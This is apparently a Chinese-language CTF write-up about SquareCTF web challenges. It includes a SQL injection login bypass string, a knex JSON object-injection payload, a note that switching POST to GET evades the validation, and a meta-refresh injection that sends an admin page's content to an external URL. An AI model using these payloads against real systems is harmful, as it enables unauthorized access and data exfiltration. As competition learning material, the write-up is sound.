這個周末打了SquareCTF
不過這周隊友都在忙,所以排名蠻後面ㄉ
他的Web其實有點偏通靈就是了,只有一題有給Source
Alex Hanlon Has The Flag!
MySQL的SQLI
' or '1'='1' limit 1,1;#
xark
這題是唯一有給Souce的Web
他是用knex做sql的操作
有問題的主要是這段
const crushes = await knex('crushes')
.select()
.where({
to: req.body.to
})
.limit(50);
雖然他urlencoded有設extended為false
不過有開json
所以可以直接丟一個物件進去
{
"to":{
"id":1
}
}
Going In Blind
接下來的題目我都沒有解出來
最通靈的就是這題
一樣是SQLI
不過現在他只限制輸入英數字
並且因為他用的驗證函式式Java的isAlphanumeric()
所以其實還可以輸入unicode字元
不過那不是重點
當你隨便輸入特殊字元的時候
會直接報錯,並且給你Java的trace log
There was an unexpected error (type=Internal Server Error, status=500).
password must contain alphanumeric characters only
java.lang.RuntimeException: password must contain alphanumeric characters only
at com.example.goinginblind.MainController.postLogin(MainController.java:32)
at jdk.internal.reflect.GeneratedMethodAccessor35.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
......
可以看到是在postLogin裡面出錯了
所以把HTTP Method改成GET就可以正常SQLI了喔
诶嘿~ ☆(ゝω●)
不是誰會知道你只會在post裡面加驗證函式6 Д 9
NoJS
一樣沒給Source
不過很明顯就是XSS
但題目給的CSP是
default-src ‘self’; script-src ‘none’;
也就是說任何的JavaScript都沒辦法執行
同時外部資源都沒辦法引入
這題解不出來只能說我XSS的經驗還不足ㄅ
第一次知道<meta http-equiv="refresh">這招可以在body裡面用
<meta http-equiv="refresh" content="url=https://example.com?content=
這樣就可以直接把admin的頁面帶到xss的網址裡
結語
真的輸光,希望下禮拜的HITCON CTF能加把勁